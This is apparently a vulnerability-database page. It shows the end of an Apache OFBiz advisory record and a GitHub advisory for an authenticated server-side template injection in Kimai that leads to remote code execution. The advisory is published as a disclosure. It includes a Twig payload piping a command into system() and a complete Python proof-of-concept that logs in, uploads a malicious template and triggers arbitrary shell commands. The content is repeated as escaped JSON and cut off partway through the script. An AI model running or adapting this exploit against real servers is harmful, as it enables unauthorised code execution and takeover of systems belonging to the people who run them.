  "aliases": [
    "CVE-2024-48962"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T09:15:06Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027), Cross-Site Request Forgery (CSRF), : Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 18.12.17.\n\nUsers are recommended to upgrade to version 18.12.17, which fixes the issue.",
  "id": "GHSA-ffrw-8p66-394j",
  "modified": "2025-02-11T18:31:20Z",
  "published": "2024-11-18T09:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48962"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/OFBIZ-13162"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/6sddh4pts90cp8ktshqb4xykdp6lb6q6"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/download.html"
    },
    {
      "type": "WEB",
      "url": "https://ofbiz.apache.org/security.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/11/16/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:H/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FJHG-96CP-6FCW

Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40
VLAI
Summary
Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
Details

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response
{
    ...
    $content = $this->twig->render($this->getTemplate(), array_merge([
        'entries' => $timesheets,
        'query' => $query,
        ...
    ], $this->getOptions($query)));
    ...
    $content = $this->converter->convertToPdf($content, $pdfOptions);
    ...
    return $this->createPdfResponse($content, $context);
}

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5'
services:

  sqldb:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_HOST='%'
      - MYSQL_DATABASE=kimai
      - MYSQL_USER=kimaiuser
      - MYSQL_PASSWORD=kimaipassword
      - MYSQL_ROOT_PASSWORD=changemeplease

    ports:
      - 3336:3306
    volumes:
      - mysql:/var/lib/mysql
    command: --default-storage-engine innodb
    restart: unless-stopped
    healthcheck:
      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  nginx:
    image: tobybatch/nginx-fpm-reverse-proxy
    ports:
      - 8001:80
    volumes:
      - public:/opt/kimai/public:ro
    restart: unless-stopped
    depends_on:
      - kimai
    healthcheck:
      test:  wget --spider http://nginx/health || exit 1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  kimai: # This is the latest FPM image of kimai
    image: kimai/kimai2:fpm-prod
    environment:
      - ADMINMAIL=admin@kimai.local
      - ADMINPASS=changemeplease
      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
      - memory_limit=1024
    volumes:
      - public:/opt/kimai/public
      # - var:/opt/kimai/var
      # - ./ldap.conf:/etc/openldap/ldap.conf:z
      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
    restart: unless-stopped

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8081:80
    environment:
      - PMA_ARBITRARY=1



  postfix:
    image: catatnight/postfix:latest
    environment:
      maildomain: neontribe.co.uk
      smtp_user: kimai:kimai
    restart: unless-stopped

volumes:
    var:
    public:
    mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept

import requests
import re
import string
import random
import sys

session = requests.session()
BASE_URL = sys.argv[1]


def generate(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def get_csrf(path, session):
    try:
        project_id = ""
        csrf_token = ""
        preview_id = ""
        template_ids = []
        activity_customer_list = []

        csrf_login_response = session.get(f"{BASE_URL}{path}").text

        # Extract CSRF Token
        pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
        match = pattern.search(csrf_login_response)
        if match:
            csrf_token = match.group(1)

        if "performSearch" in path:
            preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
            preview_match = preview_pattern.search(csrf_login_response)
            if preview_match:
                preview_id = preview_match.group(1)


        template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
        template_matches = template_pattern.findall(csrf_login_response)
        if template_matches:
            template_ids = [int(id) for id in template_matches]

        if "timesheet" in path:
            option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
            option_matches = option_pattern.findall(csrf_login_response)
            if option_matches:
                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]

        if "project" in path or "activity" in path:
            project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
            if project_id_match:
                project_id = project_id_match.group(1)

        return csrf_token, project_id, preview_id, template_ids, activity_customer_list

    except Exception as e:
        print(f"Error occurred: {e}")
        return None, None, None, None, None


def login(username,password,csrf,session):
    try:
        params = {"_username": username, "_password": password, "_csrf_token": csrf}
        login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
        if "I forgot my password" not in login_response.text:
            print(f"[+] Logged in: {username}")
            return session
        else:
            print("Wrong username,password", username)
            exit(1)
    except Exception as e:
        print(str(e))
        pass

def create_customer(token,name,session):
    try:

        data = {
            'customer_edit_form[name]': (None, name),
            'customer_edit_form[color]': (None, ''),
            'customer_edit_form[comment]': (None, 'xx'),
            'customer_edit_form[address]': (None, 'xx'),
            'customer_edit_form[company]': (None, ''),
            'customer_edit_form[number]': (None, '0002'),
            'customer_edit_form[vatId]': (None, ''),
            'customer_edit_form[country]': (None, 'DE'),
            'customer_edit_form[currency]': (None, 'EUR'),
            'customer_edit_form[timezone]': (None, 'UTC'),
            'customer_edit_form[contact]': (None, ''),
            'customer_edit_form[email]': (None, ''),
            'customer_edit_form[homepage]': (None, ''),
            'customer_edit_form[mobile]': (None, ''),
            'customer_edit_form[phone]': (None, ''),
            'customer_edit_form[fax]': (None, ''),
            'customer_edit_form[budget]': (None, '0.00'),
            'customer_edit_form[timeBudget]': (None, '0:00'),
            'customer_edit_form[budgetType]': (None, ''),
            'customer_edit_form[visible]': (None, '1'),
            'customer_edit_form[billable]': (None, '1'),
            'customer_edit_form[invoiceTemplate]': (None, ''),
            'customer_edit_form[invoiceText]': (None, ''),
            'customer_edit_form[_token]': (None, token),
        }


        response = session.post(f"{BASE_URL}/admin/customer/create", files=data)

    except Exception as e:
        print(str(e))


def create_project(token, name,project_id ,session):
    try:
        form_data = {
            'project_edit_form[name]': (None, name),
            'project_edit_form[color]': (None, ''),
            'project_edit_form[comment]': (None, ''),
            'project_edit_form[customer]': (None, project_id), 
            'project_edit_form[orderNumber]': (None, ''),
            'project_edit_form[orderDate]': (None, ''),
            'project_edit_form[start]': (None, ''),
            'project_edit_form[end]': (None, ''),
            'project_edit_form[budget]': (None, '0.00'),
            'project_edit_form[timeBudget]': (None, '0:00'),
            'project_edit_form[budgetType]': (None, ''),
            'project_edit_form[visible]': (None, '1'),
            'project_edit_form[billable]': (None, '1'),
            'project_edit_form[globalActivities]': (None, '1'),
            'project_edit_form[invoiceText]': (None, ''),
            'project_edit_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)

    except Exception as e:
        print(str(e))


def create_activity(token, name,project_id ,session):
    try:
        form_data = {
            'activity_edit_form[name]': (None, name),
            'activity_edit_form[color]': (None, ''),
            'activity_edit_form[comment]': (None, ''),
            'activity_edit_form[project]': (None, ''),
            'activity_edit_form[budget]': (None, '0.00'),
            'activity_edit_form[timeBudget]': (None, '0:00'),
            'activity_edit_form[budgetType]': (None, ''),
            'activity_edit_form[visible]': (None, '1'),
            'activity_edit_form[billable]': (None, '1'),
            'activity_edit_form[invoiceText]': (None, ''),
            'activity_edit_form[_token]': (None, token),
        }

        response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)

        if response.status_code == 201:
            print(f"[+] Activity created: {name}")

    except Exception as e:
        print(f"An error occurred: {str(e)}")

def upload_malicious_document(token,session):
    try:
        form_data = {
            'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
            'invoice_document_upload_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)

        if ".pdf.twig" in response.text:
            print("[+] Twig uploaded successfully!")
        else:
            print("[-] Error while uploading, exiting..")
            exit(1)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
import re

def create_malicious_template(token, name, session):
    try:
        data = {
            'invoice_template_form[name]': name,
            'invoice_template_form[title]': name,
            'invoice_template_form[company]': name,
            'invoice_template_form[vatId]': '',
            'invoice_template_form[address]': '',
            'invoice_template_form[contact]': '',
            'invoice_template_form[paymentTerms]': '',
            'invoice_template_form[paymentDetails]': '',
            'invoice_template_form[dueDays]': '30',
            'invoice_template_form[vat]': '0.000',
            'invoice_template_form[language]': 'en',
            'invoice_template_form[numberGenerator]': 'default',
            'invoice_template_form[renderer]': 'din',
            'invoice_template_form[calculator]': 'default',
            'invoice_template_form[_token]': token
        }

        response = session.post(f"{BASE_URL}/invoice/template/create", data=data)

        # Define the regex pattern to capture the template ID and match the name
        pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)

        # Search the response text with the regex pattern
        match = pattern.search(response.text)

        if match:
            template_id = match.group(1)  # Extract the captured group
            print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
            return template_id  # Return the captured template ID
        else:
            print("[-] Failed to capture the template ID")
            create_malicious_template(token,name,session)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
        exit(1)




def create_timesheet(token, activity, project, session):
    form_data = {
            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
            'timesheet_edit_form[duration]': (None, '0:15'),
            'timesheet_edit_form[end_time]': (None, '12:15 AM'),
            'timesheet_edit_form[customer]': (None, ''),
            'timesheet_edit_form[project]': (None, project),
            'timesheet_edit_form[activity]': (None, activity),
            'timesheet_edit_form[description]': (None, ''),
            'timesheet_edit_form[fixedRate]': (None, ''),
            'timesheet_edit_form[hourlyRate]': (None, ''),
            'timesheet_edit_form[billableMode]': (None, 'auto'),
            'timesheet_edit_form[_token]': (None, token)
        }
    response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
    if response.status_code == 302:  # Changed to 200 as 301 is for redirection
        print(f"[+] Created a new timesheet")


##############################





# login
csrf, _, _, _, _ = get_csrf("/login", session) 
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer

get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)  
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name

get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)  
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)

# create new activity 
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)

# EXPLOIT
######################

# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)

# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)

# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4]  # get the activity_customer_list from get_csrf function

print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
    csrf = get_csrf("/timesheet/create", session)[0]  # Update CSRF token for each iteration
    print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
    create_timesheet(csrf, activity_id, customer_id, session)
    postData = {
        "searchTerm": "",
        "daterange": "",
        "state": "1",
        "billable": "0",
        "exported": "1",
        "orderBy": "begin",
        "order": "DESC",
        "exporter": "pdf"
    }
    # export timesheets so they appear in exported invoices
    export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
    if "PDF-1.4" in export:
        csrf, _, _, _, _ = get_csrf("/invoice/", session)
        # get preview token to construct the preview URL to trigger SSTI
        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
        for template_id in template_ids:
            rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
            # trigger the payload by visiting the renderer URL 
            rce = session.get(rendererURL)

            if "PDF-1.4" in rce.text:
                print(rendererURL)
                print("[+] successfully executed payload")
                # save the pdf locally since rendered URL will expire as soon as we end the session
                pdf = f"{generate()}.pdf"
                with open(pdf,'wb') as pdfFile:
                    pdfFile.write(rce.content)
                    pdfFile.flush()
                    pdfFile.close()
                    print(f"[+] Saved results with name: {pdf}")
                exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-30T15:40:04Z",
    "nvd_published_at": "2023-10-31T16:15:09Z",
    "severity": "HIGH"
  },
  "details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n        \u0027entries\u0027 =\u003e $timesheets,\n        \u0027query\u0027 =\u003e $query,\n        ...\n    ], $this-\u003egetOptions($query)));\n    ...\n    $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n    ...\n    return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST=\u0027%\u0027\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            \u0027customer_edit_form[name]\u0027: (None, name),\n            \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n            \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n            \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n            \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n            \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[_token]\u0027: (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027project_edit_form[name]\u0027: (None, name),\n            \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[customer]\u0027: (None, project_id), \n            \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027activity_edit_form[name]\u0027: (None, name),\n            \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[_token]\u0027: (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n            \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            \u0027invoice_template_form[name]\u0027: name,\n            \u0027invoice_template_form[title]\u0027: name,\n            \u0027invoice_template_form[company]\u0027: name,\n            \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n            \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n            \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n            \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n            \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[_token]\u0027: token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n            \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n            \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n            \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n            \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[project]\u0027: (None, project),\n            \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n            \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n            \u0027timesheet_edit_form[_token]\u0027: (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, 